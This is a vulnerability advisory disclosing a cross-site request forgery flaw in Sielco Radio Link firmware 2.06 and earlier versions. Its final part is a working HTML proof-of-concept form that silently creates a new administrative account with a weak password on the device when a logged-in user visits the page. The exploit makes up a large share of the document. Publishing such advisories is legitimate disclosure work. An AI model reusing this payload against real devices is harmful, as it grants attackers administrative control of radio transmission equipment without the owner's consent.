Headline
Sielco Radio Link 2.06 Cross Site Request Forgery
Sielco Radio Link version 2.06 suffers from a cross site request forgery vulnerability.
<!–
Sielco Radio Link 2.06 Cross-Site Request Forgery (Add Admin)
Vendor: Sielco S.r.l
Product web page: https://www.sielco.org
Affected version: 2.06 (RTX19)
2.05 (RTX19)
2.00 (EXC19)
1.60 (RTX19)
1.59 (RTX19)
1.55 (EXC19)
Summary: Sielco develops and produces radio links for all
transmission and reception needs, thanks to innovative units
and excellent performances, accompanied by a high reliability
and low consumption.
Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.
Tested on: lwIP/2.1.1
Web/2.9.3
Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience
Advisory ID: ZSL-2023-5761
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5761.php
26.01.2023
–>
CSRF Add Admin:
<html>
<body>
<form action="http://radiolink/protect/users_rx.htm" method="POST">
<input type="hidden" name="pwd0" value="" />
<input type="hidden" name="pwd0bis" value="" />
<input type="hidden" name="user1" value="Reader" />
<input type="hidden" name="pwd1" value="123456" />
<input type="hidden" name="pwd1bis" value="123456" />
<input type="hidden" name="auth1" value="2" />
<input type="hidden" name="user2" value="" />
<input type="hidden" name="pwd2" value="" />
<input type="hidden" name="pwd2bis" value="" />
<input type="hidden" name="auth2" value="0" />
<input type="hidden" name="user3" value="" />
<input type="hidden" name="pwd3" value="" />
<input type="hidden" name="pwd3bis" value="" />
<input type="hidden" name="auth3" value="0" />
<input type="submit" value="Adminize Me!" />
</form>
</body>
</html>